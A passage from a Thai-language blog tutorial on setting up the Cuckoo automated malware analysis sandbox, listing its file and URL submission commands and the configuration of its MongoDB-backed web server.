$ cuckoo submit --timeout 60 /path/to/binary
# Submit file โดยกำหนด parameter ของไฟล์
$ cuckoo submit --package exe --options arguments=--dosomething /path/to/binary.exe
# Submit file โดยกำหนด Virtual Machine ที่ใช้
$ cuckoo submit --machine cuckoo1 /path/to/binary
# Submit file โดยกำหนด Virtual Machine OS ที่ใช้
$ cuckoo submit --platform windows /path/to/binary
# Submit file พร้อมให้ทำ memory dump
$ cuckoo submit --memory /path/to/binary

# Submit URL

cuckoo submit --url http://www.example.com

# Submit file โดยกำหนด priority

$ cuckoo submit --priority 5 /path/to/binary

# Submit file โดยกำหนด timeout ของการ analysis

$ cuckoo submit --timeout 60 /path/to/binary

# Submit file โดยกำหนด parameter ของไฟล์

$ cuckoo submit --package exe --options arguments=--dosomething /path/to/binary.exe

# Submit file โดยกำหนด Virtual Machine ที่ใช้

$ cuckoo submit --machine cuckoo1 /path/to/binary

# Submit file โดยกำหนด Virtual Machine OS ที่ใช้

$ cuckoo submit --platform windows /path/to/binary

# Submit file พร้อมให้ทำ memory dump

$ cuckoo submit --memory /path/to/binary

37. Setup cuckoo web server

apt-get install mongodb

1	apt-get install mongodb

กำหนดใน ~/.cuckoo/conf/reporting.conf

[mongodb]
enabled = yes

1 2	[mongodb] enabled = yes

Run web server (อย่าลืมว่าถ้าจะ submit file cuckoo ต้องรันอยู่ด้วยนะครับ)

cuckoo web runserver

1	cuckoo web runserver

Source::

วิธีการติดตั้ง Cuckoo – Automated Malware Analysis

techsuii-admin

Leave a Reply Cancel reply

Security References

LINE@Techsuii.com

Facebook

Recent Posts

Recent Comments

Archives

Categories

Meta

Creative Common

Facebook

Latest News

Cyber Security and Privacy Foundation ออก course สอนการเขียน code อย่างไรให้ปลอดภัย

Alien Vault ออกเอกสารการคอย monitor security ให้กับ AWS

VDO: OWASP AppSecUSA 2018

VDO: Malware Analysis จาก University of Cincinnati Computer Science department.

StatCounter ถูกแฮ็คเพื่อใช้โจมตี Cryptocurrency Exchange

วิธีการติดตั้ง Cuckoo – Automated Malware Analysis

อะไรคือ Process Hollowing

Pentest Tips: เปลี่ยนจาก Shell ธรรมดาให้กลายเป็น Interactive Shell

You May also Like

Leave a Reply Cancel reply

Security References

LINE@Techsuii.com

Facebook

Recent Posts

Recent Comments

Archives

Categories

Meta